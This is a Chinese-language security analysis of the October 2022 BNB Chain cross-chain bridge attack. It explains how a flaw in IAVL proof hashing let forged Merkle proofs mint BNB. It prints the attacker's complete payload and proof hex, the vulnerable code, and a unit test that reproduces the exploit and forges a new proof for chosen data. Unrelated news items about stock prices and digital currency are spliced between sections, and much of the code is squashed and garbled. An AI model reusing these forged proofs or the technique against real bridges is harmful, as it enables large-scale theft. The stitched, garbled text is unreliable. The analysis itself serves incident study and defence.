歐科云鏈鏈上衛士：BNBChain遭攻擊事件深度解析_ROO:OneRoot

事件背景

北京時間2022年10月7日凌晨，BNB??Chian跨鏈橋BSCTokenHub遭遇攻擊。黑客利用跨鏈橋漏洞分兩次共獲取200萬枚BNB，價值約5.66億美元。

漏洞分析

BSCTokenHub是BNB信標鏈和BNB鏈之間的跨鏈橋。BNB鏈使用預編譯合約0x65驗證BNB信標鏈提交的IAVL的Proof，但BNB鏈對提交的Proof邊界情況處理不足，它僅考慮了Proof只有一個Leaf的場景，對多個Leaves的處理邏輯不夠嚴謹。黑客構造了一個包含多Leaves的Proof數據，繞過BNBChain上的校驗，從而在BNB鏈造成了BNB增發。

以其中一次攻擊交易為例：0xebf83628ba893d35b496121fb8201666b8e09f3cbadf0e269162baa72efe3b8b

黑客構造輸入數據payload和proof，輸入參數通過validateMerkleProof校驗，返回值為true。

在后續IApplication(handlerContract).handleSynPackage處理中，合約給黑客增發100萬個BNB。

函數調用過程

交易首先調用CrossChain合約0x2000的handlePackage函數：

?functionhandlePackage(bytescalldatapayload,bytescalldataproof,uint64height,uint64packageSequence,uint8channelId)onlyInitonlyRelayer???sequenceInOrder(packageSequence,channelId)blockSynced(height)channelSupported(channelId)external{??bytesmemorypayloadLocal=payload;//fixerror:stacktoodeep,tryremovinglocalvariables??bytesmemoryproofLocal=proof;//fixerror:stacktoodeep,tryremovinglocalvariables?require(MerkleProof.validateMerkleProof(ILightClient(LIGHT_CLIENT_ADDR).getAppHash(height),STORE_NAME,generateKey(packageSequence,channelId),payloadLocal,proofLocal),"invalidmerkleproof");??addresspayableheaderRelayer=ILightClient(LIGHT_CLIENT_ADDR).getSubmitter(height);??......??if(packageType==SYN_PACKAGE){???addresshandlerContract=channelHandlerContractMap;???tryIApplication(handlerContract).handleSynPackage(channelIdLocal,msgBytes)returns(bytesmemoryresponsePayload){?if(responsePayload.length!=0){?????sendPackage(channelSendSequenceMap,channelIdLocal,encodePayload(ACK_PACKAGE,0,responsePayload));?????channelSendSequenceMap=channelSendSequenceMap1;????}???}???......??}??......??IRelayerIncentivize(INCENTIVIZE_ADDR).addReward(headerRelayer,msg.sender,relayFee,isRelayRewardFromSystemReward||packageType!=SYN_PACKAGE);?}?輸入參數{?"payload":"0x000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100",?"proof":"0x0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143",?"height":110217401,?"packageSequence":17684572,?"channelId":2}

港股收盤：歐科云鏈收漲1.50% 火幣科技收漲1.74%:今日港股收盤，恒生指數收盤報24667.09點，收漲0.07%；歐科集團旗下歐科云鏈（01499.HK）報0.203港元，收漲1.50%；火幣科技（01611.HK）報4.680港元，收漲1.74%。[2020/10/14]

handlePackage會進一步調用MerkleProof.validateMerkleProof對輸入的proof進行校驗：

//函數原型：functionvalidateMerkleProof(??bytes32appHash,??stringmemorystoreName,??bytesmemorykey,??bytesmemoryvalue,??bytesmemoryproof)//函數調用：MerkleProof.validateMerkleProof(??ILightClient(LIGHT_CLIENT_ADDR).getAppHash(height),??STORE_NAME,??generateKey(packageSequence,channelId),??payloadLocal,??proofLocal),//調用參數：{?"appHash":"0x72cda827a83531ca0fd7ac917a6b65649719aab0836722caafe0603147a52318",?"storeName":"ibc",?"key":"0x00000100380200000000010dd85c",?"value":"0x000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100",?"proof":"0x0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143"}

歐科云鏈首席研究員：DC/EP系統框架的核心要素為“一幣、兩庫，三中心”:9月22日下午，歐科云鏈集團在上海與媒體舉辦“DC/EP的設計機制與潛在影響”線下沙龍。

歐科云鏈首席研究員李煉炫表示：央行數字貨幣系統框架的核心要素為“一幣，兩庫，三中心”。其中，“一幣”指央行數字貨幣，“兩庫”指數字貨幣發行庫和數字貨幣銀行庫，“三中心”指認證中心、登記中心與大數據發行中心。從特性上看，DC/EP具有不計息、作為M0替代、雙層運營、賬戶松耦合、雙離線支付、可控匿名、面向小額零售場景的特點。[2020/9/22]

MerkleProof相關代碼可以看到，實際的驗證邏輯是使用預編譯合約0x65完成：https://github.com/bnb-chain/bsc-genesis-contract/blob/master/contracts/MerkleProof.sol#L66

??uint256memoryresult;??/*solium-disable-next-line*/??assembly{??//callvalidateMerkleProofprecompilecontract??//Contractaddress:0x65???ifiszero(staticcall(not(0),0x65,input,length,result,0x20)){}??}??returnresult==0x01;

系統預編譯合約0x65對應iavlMerkleProofValidate功能：https://github.com/bnb-chain/bsc/blob/f3fd0f8bffb3b57a5a5d3f3699617e6afb757b33/core/vm/contracts.go#L81

系統合約0x65實現代碼如下，主要邏輯為使用DecodeKeyValueMerkleProof解碼輸入參數，并調用Validate進行校驗：https://github.com/bnb-chain/bsc/blob/master/core/vm/contracts_lightclient.go#L106

func(c*iavlMerkleProofValidate)Run(inputbyte)(resultbyte,errerror){??//returnnil,fmt.Errorf("suspend")??......??kvmp,err:=lightclient.DecodeKeyValueMerkleProof(input)iferr!=nil{??????returnnil,err??}??valid:=kvmp.Validate()if!valid{??????returnnil,fmt.Errorf("invalidmerkleproof")??}??result=make(byte,merkleProofValidateResultLength)??binary.BigEndian.PutUint64(result,0x01)??returnresult,nil}

其中kvmp.Validate()實現代碼如下：https://github.com/bnb-chain/bsc/blob/master/core/vm/lightclient/types.go#L220-L234

func(kvmp*KeyValueMerkleProof)Validate()bool{??prt:=DefaultProofRuntime()??kp:=merkle.KeyPath{}??kp=kp.AppendKey(byte(kvmp.StoreName),merkle.KeyEncodingURL)??kp=kp.AppendKey(kvmp.Key,merkle.KeyEncodingURL)??iflen(kvmp.Value)==0{????err:=prt.VerifyAbsence(kvmp.Proof,kvmp.AppHash,kp.String())????returnerr==nil??}??err:=prt.VerifyValue(kvmp.Proof,kvmp.AppHash,kp.String(),kvmp.Value)??returnerr==nil}

DefaultProofRuntime構造函數使用IAVL庫進行Proof的驗證：

import(??"bytes"??"fmt"??"github.com/tendermint/iavl"??"github.com/tendermint/tendermint/crypto/merkle"??cmn"github.com/tendermint/tendermint/libs/common")......funcDefaultProofRuntime()(prt*merkle.ProofRuntime){??prt=merkle.NewProofRuntime()??prt.RegisterOpDecoder(merkle.ProofOpSimpleValue,merkle.SimpleValueOpDecoder)??prt.RegisterOpDecoder(iavl.ProofOpIAVLValue,iavl.IAVLValueOpDecoder)??prt.RegisterOpDecoder(iavl.ProofOpIAVLAbsence,iavl.IAVLAbsenceOpDecoder)??prt.RegisterOpDecoder(ProofOpMultiStore,MultiStoreProofOpDecoder)??return}IAVL代碼問題

IAVL的Proof校驗過程中，Hash計算存在漏洞，導致黑客可以在Proof添加數據，但計算Hash時并沒有用到添加的數據。詳細分析如下：

在len(pin.Left)不為0的分支中，計算Hash并沒有使用pin.Right數據。黑客利用該處漏洞構造數據，添加proof.LeftPath.Right數據，但是該數據并不參與Hash計算。https://github.com/cosmos/iavl/blob/master/proof.go#L79-L93

歐科云鏈李煉炫：區塊鏈技術重塑證券市場清算結算體系:歐科云鏈研究院首席研究員李煉炫表示，區塊鏈技術在股權交易市場最大的作用有三點：一是推進“無紙化”和“電子化”進程；二是重塑證券市場清算結算體系；三是推動證券市場的智能化進程。李煉炫認為，目前證券市場清算結算環節主要存在流轉周期冗長，結算過程中人工干預造成操作風險，清算結算集中統一度不高，成本巨大等問題。區塊鏈的共享、可信、可追溯的特點在清算結算領域具備顯著優勢，可以提高整個體系的效率和安全性，降低清算與結算的交易成本，減少手工流程，避免操作風險。區塊鏈上的數據運行規則公開透明，鏈上操作記錄全程留痕，可有效解決當前場外市場證券發行與交易、數據披露、資金托管等方面的信息不對稱問題，對于加強市場穩定性建設、改進市場監督管理機制具有重要作用。（澎湃新聞）[2020/7/29]

func(pinProofInnerNode)Hash(childHashbyte)(byte,error){????hasher:=sha256.New()????buf:=bufPool.Get().(*bytes.Buffer)????buf.Reset()????deferbufPool.Put(buf)????err:=encoding.EncodeVarint(buf,int64(pin.Height))????iferr==nil{????????err=encoding.EncodeVarint(buf,pin.Size)????}????iferr==nil{????????err=encoding.EncodeVarint(buf,pin.Version)????}iflen(pin.Left)==0{iferr==nil{????????????err=encoding.EncodeBytes(buf,childHash)????????}iferr==nil{????????????err=encoding.EncodeBytes(buf,pin.Right)????????}????}else{iferr==nil{????????????err=encoding.EncodeBytes(buf,pin.Left)????????}iferr==nil{????????????err=encoding.EncodeBytes(buf,childHash)????????}????}????iferr!=nil{????????returnnil,fmt.Errorf("failedtohashProofInnerNode:%v",err)????}????_,err=hasher.Write(buf.Bytes())????iferr!=nil{????????returnnil,err????}????returnhasher.Sum(nil),nil}

根據上述分析，正常數據組織結構如下，proof.LeftPath.Right為空值，計算得到正確的Hash。

proof.LeftPath=len(2)

proof.LeftPath是一個正常數據，proof.LeftPath.Left是一個正常數據，proof.LeftPath.Right空值

proof.InnerNodes=len(0)

proof.Leaves=len(1),proof.Leaves是一個正常數據

黑客構造攻擊數據結構如下，添加proof.LeftPath.Right數據，且該數據不參與Hash計算。

proof.LeftPath=len(2)

proof.LeftPath是一個正常數據，proof.LeftPath.Left是一個正常數據，proof.LeftPath.Right是一個偽造數據

proof.InnerNodes=len(1),InnerNodes=nil

proof.Leaves=len(2),proof.Leaves是一個正常數據，proof.Leaves是一個偽造數據

且proof.LeftPath.Right=COMPUTEHASH(proof.Leaves)

IAVL的Proof校驗代碼如下，主體邏輯為COMPUTEHASH遞歸調用。由于lpath.Right也為黑客輸入數據，使得黑客構造的數據能夠通過bytes.Equal(derivedRoot,lpath.Right)的校驗，并返回上一輪COMPUTEHASH通過proof.Leaves計算的結果，該結果為正常數值，從而繞過了IAVL的Proof校驗。

https://github.com/cosmos/iavl/blob/master/proof_range.go#L222-L309

func(proof*RangeProof)_computeRootHash()(rootHashbyte,treeEndbool,errerror){?...??varCOMPUTEHASHfunc(pathPathToLeaf,rightmostbool)(hashbyte,treeEndbool,donebool,errerror)??//rightmost:istherootarightmostchildofthetree???//treeEnd:trueiffthelastleafisthelastitemofthetree.??//Returnsthe(possiblyintermediate,possiblyroot)hash.??COMPUTEHASH=func(pathPathToLeaf,rightmostbool)(hashbyte,treeEndbool,donebool,errerror){??????//Popnextleaf.??????nleaf,rleaves:=leaves,leaves??????leaves=rleaves??????//Computehash.??????hash,err=(pathWithLeaf{??????????Path:path,??????????Leaf:nleaf,??????}).computeRootHash()??????iferr!=nil{??????????returnnil,treeEnd,false,err??????}??????//Ifwedon'thaveanyleavesleft,we'redone.??????iflen(leaves)==0{??????????rightmost=rightmost&&path.isRightmost()??????????returnhash,rightmost,true,nil??????}??????//Provealongpath(untilwerunoutofleaves).??????forlen(path)>0{??????????//Droptheleaf-most(last-most)innernodesfrompath??????????//untilweencounteronewithalefthash.??????????//Weassumethattheleftsideisalreadyverified.??????????//rpath:restofpath??????????//lpath:lastpathitem??????????rpath,lpath:=path,path??????????path=rpath??????????iflen(lpath.Right)==0{??????????????continue??????????}??????????//Popnextinners,aPathToLeaf(e.g.ProofInnerNode).??????????inners,rinnersq:=innersq,innersq??????????innersq=rinnersq??????????//Recursivelyverifyinnersagainstremainingleaves.??????????derivedRoot,treeEnd,done,err:=COMPUTEHASH(inners,rightmost&&rpath.isRightmost())??????????iferr!=nil{??????????????returnnil,treeEnd,false,errors.Wrap(err,"recursiveCOMPUTEHASHcall")??????????}??????????if!bytes.Equal(derivedRoot,lpath.Right){returnnil,treeEnd,false,errors.Wrapf(ErrInvalidRoot,"intermediateroothash%Xdoesn'tmatch,got%X",lpath.Right,derivedRoot)??????????}ifdone{returnhash,treeEnd,true,nil??????????}??????}??????//We'renotdoneyet(leavesleftover).Noerror,notdoneeither.??????//Technicallyifrightmost,weknowthere'sanerror"leftoverleaves??????//--malformedproof",butwereturnthatatthetoplevel,below.??????returnhash,false,false,nil??}??//Verify!??path:=proof.LeftPath??rootHash,treeEnd,done,err:=COMPUTEHASH(path,true)??iferr!=nil{??????returnnil,treeEnd,errors.Wrap(err,"rootCOMPUTEHASHcall")??}elseif!done{??????returnnil,treeEnd,errors.Wrap(ErrInvalidProof,"leftoverleaves--malformedproof")??}??//Ok!??returnrootHash,treeEnd,nil}

港股收盤：火幣科技收漲3.45% 歐科云鏈收漲8.47%:今日港股收盤，恒生指數報24301.28點，收跌1.01%；歐科集團旗下歐科云鏈（01499.HK）報0.205點，收漲8.47%；火幣科技（01611.HK）報3.30點，收漲3.45%；雄岸科技（01647.HK）報0.22點，收跌3.51%。[2020/6/29]

黑客攻擊構造的數據中，包括了IAVL:V和multistore相關數據，multistore數據也是基于IAVL進行操作，原理是一樣的，不再進行詳細分析。

這次IAVLProof暴露的問題在于，數據局部的變化無法反應到整體，使得校驗發生錯誤。在Cosmos生態中，IBC使用ICS23來做數據的校驗處理，ICS23與IAVLProof校驗不同點在于，ICS23會對所有的“葉子節點”的值進行數據校驗，最后計算得出的根Hash再與鏈上數據進行校驗，OKC采用的是ICS23的Prove，因此不存在BNBChain這次遇到的安全漏洞。

測試驗證代碼

利用黑客攻擊交易數據，基于BNBChain單元測試代碼，增加了基于黑客攻擊交易的測試用例，可以完整復現黑客的攻擊交易。單元測試代碼利用iavlMerkleProofValidate.Run接口驗證輸入數據，即相當于調用預編譯合約。https://github.com/BananaLF/bsc/blob/bsc-hack/core/vm/contracts_lightclient_test.go#L99-L100

iavlMerkleProofValidateContract:=iavlMerkleProofValidate{}success,err:=iavlMerkleProofValidateContract.Run(input)

利用黑客攻擊交易數據，構造新的payload數據為value:=byte(“okctesthack”)，并對proof相應數據進行了修改，即修改proof.LeftPath.Right和proof.Leaves對應的數據，新構造的數據可以通過okcIavlMerkleProofValidate校驗，即修改了黑客數據也能通過校驗。另外，如下單元測試代碼對原始黑客數據和修改后的數據兩種case都進行了校驗，且校驗都能成功，從而說明如下測試代碼利用本文所述漏洞成功進行了復現。https://github.com/BananaLF/bsc/commit/697c5cd73a755a7c93c0ed6c57d069e17f807958

funcTestTmHeaderValidateAndMerkleProofValidateTest(t*testing.T){????testCases:=struct{????????name?string????????valuebyte????????proofbyte??}{????{??????//datasourcehttps://bscscan.com/tx/0xebf83628ba893d35b496121fb8201666b8e09f3cbadf0e269162baa72efe3b8b??????"hackdata",??????func()byte{??????????value,err:=hex.DecodeString("000000000000000000000000000000000000000000000000000000000000000000f870a0424e4200000000000000000000000000000000000000000000000000000000009400000000000000000000000000000000000000008ad3c21bcecceda100000094489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec94489a8756c18c0b8b24ec2a2b9ff3d4d447f79bec846553f100")??????????require.NoError(t,err)??????????returnvalue??????}(),??????func()byte{??????????proofBytes,err:=hex.DecodeString("0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20da657c1ffb86c684eb3e265361ef0fa4f9dfa670b45f9f91c5eb6ad84b21a4d112001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12202c3a561458f8527b002b5ec3cab2d308662798d6245d4588a4e6a80ebdfe30ac18010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143")??????????require.NoError(t,err)??????????returnproofBytes??????}(),????},????{??????"okctestdata",??????func()byte{??????????value:=byte("okctesthack")??????????returnvalue??????}(),??????func()byte{??????????proofBytes,err:=hex.DecodeString("0a8d020a066961766c3a76120e00000100380200000000010dd85c1af201f0010aed010a2b0802100318b091c73422200c10f902d266c238a4ca9e26fa9bc36483cd3ebee4e263012f5e7f40c22ee4d20a4d0801100218b091c7342220e4fd47bffd1c06e67edad92b2bf9ca63631978676288a2aa99f95c459436ef632a20862869344b449b596df9b3889117c7696b0838ecc112ce33b147ad28e587f71712001a370a0e0000010038020000000000000002122011056c6919f02d966991c10721684a8d1542e44003f9ffb47032c18995d4ac7f18b091c7341a340a0e00000100380200000000010dd85c12205d6de1244e019deb3f01c41555d6bb458af5de0be9f14fc8a75abb97c8dbc68018010ad4050a0a6d756c746973746f726512036962631ac005be050abb050a110a066f7261636c6512070a0508b891c7340a0f0a046d61696e12070a0508b891c7340a350a08736c617368696e6712290a2708b891c7341220c8ccf341e6e695e7e1cb0ce4bf347eea0cc16947d8b4e934ec400b57c59d6f860a380a0b61746f6d69635f7377617012290a2708b891c734122042d4ecc9468f71a70288a95d46564bfcaf2c9f811051dcc5593dbef152976b010a110a0662726964676512070a0508b891c7340a300a0364657812290a2708b891c73412201773be443c27f61075cecdc050ce22eb4990c54679089e90afdc4e0e88182a230a2f0a02736312290a2708b891c7341220df7a0484b7244f76861b1642cfb7a61d923794bd2e076c8dbd05fc4ee29f3a670a330a06746f6b656e7312290a2708b891c734122064958c2f76fec1fa5d1828296e51264c259fa264f499724795a740f48fc4731b0a320a057374616b6512290a2708b891c734122015d2c302143bdf029d58fe381cc3b54cedf77ecb8834dfc5dc3e1555d68f19ab0a330a06706172616d7312290a2708b891c734122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a300a0361636312290a2708b891c734122079fb5aecc4a9b87e56231103affa5e515a1bdf3d0366490a73e087980b7f1f260a0e0a0376616c12070a0508b891c7340a300a0369626312290a2708b891c7341220e09159530585455058cf1785f411ea44230f39334e6e0f6a3c54dbf069df2b620a300a03676f7612290a2708b891c7341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a05706169727312290a2708b891c7341220a78b556bc9e73d86b4c63ceaf146db71b12ac80e4c10dd0ce6eb09c99b0c7cfe0a360a0974696d655f6c6f636b12290a2708b891c73412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a52143")??????????require.NoError(t,err)??????????returnproofBytes??????}(),????},??}??for_,tc:=rangetestCases{????okcIavlMerkleProofValidate(tc.value,tc.proof,t)??}}funcokcIavlMerkleProofValidate(value,proofBytesbyte,t*testing.T){??key,err:=hex.DecodeString("00000100380200000000010dd85c")//thisequaltogenerateKey(17684572,2)??require.NoError(t,err)??newAppHash,err:=hex.DecodeString("72cda827a83531ca0fd7ac917a6b65649719aab0836722caafe0603147a52318")//thisisgotbyhackdata??require.NoError(t,err)??merkleProofInput:=make(byte,3232len(key)32len(value)32len(proofBytes))??copy(merkleProofInput,"ibc")??binary.BigEndian.PutUint64(merkleProofInput,uint64(len(key)))??copy(merkleProofInput,key)??binary.BigEndian.PutUint64(merkleProofInput,uint64(len(value)))??copy(merkleProofInput,value)??copy(merkleProofInput,newAppHash)??copy(merkleProofInput,proofBytes)??totalLengthPrefix:=make(byte,32)??binary.BigEndian.PutUint64(totalLengthPrefix,0)??binary.BigEndian.PutUint64(totalLengthPrefix,0)??binary.BigEndian.PutUint64(totalLengthPrefix,0)??binary.BigEndian.PutUint64(totalLengthPrefix,uint64(len(merkleProofInput)))??input:=append(totalLengthPrefix,merkleProofInput...)??iavlMerkleProofValidateContract:=iavlMerkleProofValidate{}??success,err:=iavlMerkleProofValidateContract.Run(input)??require.NoError(t,err,err)??expectedResult:=make(byte,32)??binary.BigEndian.PutUint64(expectedResult,0x01)??require.Equal(t,expectedResult,success。

港股收盤：歐科云鏈收漲7.50% 火幣科技收漲0.95%:今日港股收盤，恒生指數報21709.13點，收跌2.61%；歐科集團旗下歐科云鏈（01499.HK）報0.215點，收漲7.50%；火幣科技（01611.HK）報3.200點，收漲0.95%。[2020/3/19]

事件過程

被攻擊全過程可查看上一篇文章：鏈上衛士：BNBChain遭攻擊時間軸梳理。OKLink多鏈瀏覽器已對BNBChain黑客地址進行風險標簽標記，關于此次被盜后續，鏈上衛士團隊將進一步追蹤案件細節并及時同步。

Tags：ROOPROProofVALOneRootCyOp Protocol0XPROOF價格VAL幣

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